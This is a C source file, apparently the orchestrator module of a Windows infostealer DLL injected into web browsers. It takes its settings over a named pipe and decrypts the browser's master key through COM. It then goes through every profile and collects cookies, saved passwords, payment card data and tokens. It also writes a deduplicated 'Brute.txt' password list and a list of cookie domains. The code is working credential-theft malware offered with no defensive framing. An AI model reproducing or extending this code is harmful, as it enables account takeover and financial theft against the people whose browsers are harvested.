#include "orchestrator.h"
#include "browser.h"
#include "crypto.h"
#include "profile.h"
#include "extractor.h"
#include "buffer.h"
#include <Windows.h>
#include <ShlObj.h>
#include <stdio.h>
#include <string.h>

bool orchestrator_init(OrchestratorConfig* config, const wchar_t* pipe_name) {
    if (!config || !pipe_name) return false;

    wcsncpy_s(config->pipe_name, 256, pipe_name, _TRUNCATE);
    config->extract_fingerprint = false;
    config->output_path[0] = L'\0';

    config->pipe_handle = CreateFileW(pipe_name, GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, 0, NULL);

    if (config->pipe_handle == INVALID_HANDLE_VALUE) {
        return false;
    }

    char buffer[MAX_PATH + 1];
    DWORD bytes_read;

    // skip first parameter then read fingerprint flag
    ReadFile(config->pipe_handle, buffer, sizeof(buffer) - 1, &bytes_read, NULL);
    ReadFile(config->pipe_handle, buffer, sizeof(buffer) - 1, &bytes_read, NULL);
    buffer[bytes_read] = '\0';
    config->extract_fingerprint = (strcmp(buffer, "FINGERPRINT_TRUE") == 0);

    ReadFile(config->pipe_handle, buffer, sizeof(buffer) - 1, &bytes_read, NULL);
    buffer[bytes_read] = '\0';
    MultiByteToWideChar(CP_UTF8, 0, buffer, -1, config->output_path, MAX_PATH_LEN);

    return true;
}

void orchestrator_cleanup(OrchestratorConfig* config) {
    if (!config) return;

    if (config->pipe_handle != INVALID_HANDLE_VALUE) {
        const char* completion = "__DLL_PIPE_COMPLETION_SIGNAL__";
        DWORD written;
        WriteFile(config->pipe_handle, completion, (DWORD)strlen(completion), &written, NULL);
        FlushFileBuffers(config->pipe_handle);
        CloseHandle(config->pipe_handle);
        config->pipe_handle = INVALID_HANDLE_VALUE;
    }
}

static void extract_password_from_json(const char* json, StringArray* passwords) {
    const char* pwd_tag = "\"password\":\"";
    char* pos = strstr(json, pwd_tag);
    if (!pos) return;

    pos += strlen(pwd_tag);
    char* end = strchr(pos, '"');
    if (!end) return;

    size_t pwd_len = end - pos;
    char* pwd = malloc(pwd_len + 1);
    if (!pwd) return;

    memcpy(pwd, pos, pwd_len);
    pwd[pwd_len] = '\0';

    if (!string_array_contains(passwords, pwd)) {
        string_array_add(passwords, pwd);
    }
    free(pwd);
}

static void extract_domain_from_netscape(const char* netscape_line, StringArray* domains) {
    char* domain_end = strchr(netscape_line, '\t');
    if (!domain_end) return;

    size_t domain_len = domain_end - netscape_line;
    char* domain = malloc(domain_len + 1);
    if (!domain) return;

    memcpy(domain, netscape_line, domain_len);
    domain[domain_len] = '\0';

    char* clean_domain = domain;
    if (clean_domain[0] == '.') clean_domain++;

    if (!string_array_contains(domains, clean_domain)) {
        string_array_add(domains, clean_domain);
    }
    free(domain);
}

static void write_brute_file(const wchar_t* output_path, StringArray* all_passwords) {
    if (!output_path || !all_passwords) return;

    wchar_t file_path[MAX_PATH_LEN];
    swprintf_s(file_path, MAX_PATH_LEN, L"%s\\Brute.txt", output_path);

    StringArray* unique = string_array_create(all_passwords->count);
    if (!unique) return;

    FILE* f = NULL;
    if (_wfopen_s(&f, file_path, L"r") == 0 && f) {
        char line[1024];
        while (fgets(line, sizeof(line), f)) {
            size_t len = strlen(line);
            if (len > 0 && line[len - 1] == '\n') line[len - 1] = '\0';
            if (len > 0) string_array_add(unique, line);
        }
        fclose(f);
    }

    for (size_t i = 0; i < all_passwords->count; i++) {
        if (!string_array_contains(unique, all_passwords->items[i])) {
            string_array_add(unique, all_passwords->items[i]);
        }
    }

    if (_wfopen_s(&f, file_path, L"w") == 0 && f) {
        for (size_t i = 0; i < unique->count; i++) {
            fprintf(f, "%s\n", unique->items[i]);
        }
        fclose(f);
    }

    string_array_destroy(unique);
}

static void write_domains_file(const wchar_t* output_path, StringArray* all_domains) {
    if (!output_path || !all_domains) return;

    wchar_t file_path[MAX_PATH_LEN];
    swprintf_s(file_path, MAX_PATH_LEN, L"%s\\Domains.txt", output_path);

    StringArray* unique = string_array_create(all_domains->count);
    if (!unique) return;

    FILE* f = NULL;
    if (_wfopen_s(&f, file_path, L"r") == 0 && f) {
        char line[1024];
        while (fgets(line, sizeof(line), f)) {
            size_t len = strlen(line);
            if (len > 0 && line[len - 1] == '\n') line[len - 1] = '\0';
            if (len > 0) string_array_add(unique, line);
        }
        fclose(f);
    }

    for (size_t i = 0; i < all_domains->count; i++) {
        if (!string_array_contains(unique, all_domains->items[i])) {
            string_array_add(unique, all_domains->items[i]);
        }
    }

    if (_wfopen_s(&f, file_path, L"w") == 0 && f) {
        for (size_t i = 0; i < unique->count; i++) {
            fprintf(f, "%s\n", unique->items[i]);
        }
        fclose(f);
    }

    string_array_destroy(unique);
}

bool orchestrator_run(OrchestratorConfig* config) {
    if (!config) {
        return false;
    }

    BrowserConfig browser_config;
    if (!browser_get_config_for_process(&browser_config)) {
        return false;
    }

    wchar_t user_data_path[MAX_PATH_LEN];
    if (!browser_get_user_data_path(&browser_config, user_data_path, MAX_PATH_LEN)) {
        return false;
    }

    wchar_t local_state_path[MAX_PATH_LEN];
    swprintf_s(local_state_path, MAX_PATH_LEN, L"%s\\Local State", user_data_path);

    ByteBuffer* encrypted_key = get_encrypted_master_key(local_state_path);
    if (!encrypted_key) {
        return false;
    }

    ByteBuffer* aes_key = decrypt_master_key_via_com(
        &browser_config,
        encrypted_key->data,
        encrypted_key->size
    );
    buffer_destroy(encrypted_key);

    if (!aes_key) {
        return false;
    }

    ProfileList* profiles = profile_find_all(user_data_path);
    if (!profiles) {
        buffer_destroy(aes_key);
        return false;
    }

    StringArray* all_passwords = string_array_create(100);
    StringArray* all_domains = string_array_create(500);

    for (size_t i = 0; i < profiles->count; i++) {
        ExtractionContext ctx = {
            .profile_path = profiles->paths[i].path,
            .output_base = config->output_path,
            .browser_name = browser_config.name,
            .aes_key = aes_key->data,
            .key_len = aes_key->size
        };

        wchar_t profile_name[256];
        wchar_t* last_slash = wcsrchr(profiles->paths[i].path, L'\\');
        wcscpy_s(profile_name, 256, last_slash ? last_slash + 1 : L"Default");

        wchar_t profile_output_dir[MAX_PATH_LEN];
        swprintf_s(
            profile_output_dir,
            MAX_PATH_LEN,
            L"%s\\%S\\%s",
            config->output_path,
            browser_config.name,
            profile_name
        );

        SHCreateDirectoryExW(NULL, profile_output_dir, NULL);

        StringArray* cookies = extract_cookies(&ctx);
        if (cookies) {
            if (cookies->count > 0) {
                wchar_t out_path[MAX_PATH_LEN];
                swprintf_s(out_path, MAX_PATH_LEN, L"%s\\cookies.txt", profile_output_dir);

                if (write_netscape_cookies(out_path, cookies)) {
                    for (size_t j = 0; j < cookies->count; j++) {
                        extract_domain_from_netscape(cookies->items[j], all_domains);
                    }
                }
            }
            string_array_destroy(cookies);
        }

        StringArray* passwords = extract_passwords(&ctx);
        if (passwords && passwords->count > 0) {
            wchar_t out_path[MAX_PATH_LEN];
            swprintf_s(out_path, MAX_PATH_LEN, L"%s\\passwords.json", profile_output_dir);
            write_json_array(out_path, passwords);

            for (size_t j = 0; j < passwords->count; j++) {
                extract_password_from_json(passwords->items[j], all_passwords);
            }

            string_array_destroy(passwords);
        }

        StringArray* payments = extract_payments(&ctx);
        if (payments && payments->count > 0) {
            wchar_t out_path[MAX_PATH_LEN];
            swprintf_s(out_path, MAX_PATH_LEN, L"%s\\payments.json", profile_output_dir);
            write_json_array(out_path, payments);
            string_array_destroy(payments);
        }

        StringArray* tokens = extract_tokens(&ctx);
        if (tokens && tokens->count > 0) {
            wchar_t out_path[MAX_PATH_LEN];
            swprintf_s(out_path, MAX_PATH_LEN, L"%s\\tokens.json", profile_output_dir);
            write_json_array(out_path, tokens);
            string_array_destroy(tokens);
        }
    }

    write_brute_file(config->output_path, all_passwords);
    write_domains_file(config->output_path, all_domains);

    string_array_destroy(all_passwords);
    string_array_destroy(all_domains);
    profile_list_destroy(profiles);
    buffer_destroy(aes_key);

    cleanup_temp_files();
    return true;
}